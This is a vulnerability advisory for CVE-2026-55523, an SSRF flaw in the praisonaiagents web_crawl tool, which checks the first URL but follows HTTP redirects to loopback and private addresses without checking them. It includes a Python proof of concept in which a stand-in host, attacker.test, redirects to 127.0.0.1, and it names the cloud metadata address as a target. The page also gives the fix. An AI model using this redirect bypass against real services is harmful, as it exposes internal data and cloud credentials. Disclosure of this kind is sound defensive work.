highCVE-2026-55523Aug 25, 2026

CVE-2026-55523: praisonaiagents web_crawl SSRF via Unvalidated Redirect Target

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The web_crawl tool in praisonaiagents blocks direct requests to internal addresses but blindly follows HTTP redirects, letting an attacker bounce a seemingly safe public URL into any loopback or…

Packagepraisonaiagents
Ecosystempip
Affected>= 1.5.128, < 1.6.58
Fixed in1.6.58
CVE-2026-55523: praisonaiagents web_crawl SSRF via Unvalidated Redirect Target

The problem

praisonaiagents 1.5.128 through 1.6.57 validates the initial URL supplied to web_crawl() but then fetches it with httpx.Client(follow_redirects=True), skipping any check on where the server actually redirects.

An attacker who can influence URLs passed to web_crawl() (directly or through an agent/tool workflow) can host a public URL that returns a 302 pointing to 127.0.0.1, 169.254.169.254, or any reachable private endpoint. The redirected response body is returned to the caller.

This is an incomplete fix for the earlier web_crawl SSRF class (CVE-2026-40160 / GHSA-qq9r-63f6-v542).

Proof of concept

A working proof-of-concept for CVE-2026-55523 in praisonaiagents, with the exact payload below.

python
# Stand up a redirect server on loopback that returns:
# HTTP/1.1 302 Found
# Location: http://127.0.0.1:<internal_port>/secret
#
# Then call web_crawl() with the public-looking redirector URL:

from praisonaiagents.tools.web_crawl_tools import web_crawl

# Passes the initial SSRF guard (resolves to a public IP via monkeypatched DNS)
# httpx then follows the 302 to the loopback target without revalidation
result = web_crawl(
    "http://attacker.test:<redirect_port>/go",
    provider="httpx",
)

# result["content"] == "INTERNAL-SECRET-FROM-LOOPBACK"
print(result)

# Direct loopback is correctly blocked:
blocked = web_crawl("http://127.0.0.1:<internal_port>/secret", provider="httpx")
# blocked == {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'}

The guard calls socket.gethostbyname() on the initial hostname and rejects RFC-1918 / loopback results. That check passes for attacker.test (which resolves to a public IP). The actual fetch uses httpx.Client(follow_redirects=True), so httpx silently follows the 302 Location header to 127.0.0.1 and returns the loopback response body, completely bypassing the guard.

The patch (v4.6.58, commit 2f9677abb) disables automatic redirect following in _crawl_with_httpx() and adds per-hop Location validation before any redirect is followed. CWE-918 (Server-Side Request Forgery) via a TOCTOU validate-here/fetch-there gap.

The fix

Upgrade praisonaiagents to 1.6.58 or later (PraisonAI v4.6.58, commit 2f9677abb2ea68eab864ee8b6a828fd0141612e1). The patch sets follow_redirects=False in _crawl_with_httpx() and validates every Location target against the same private/loopback blocklist before following it.

Reporter not attributed.

References: [1][2][3][4][5]

Related research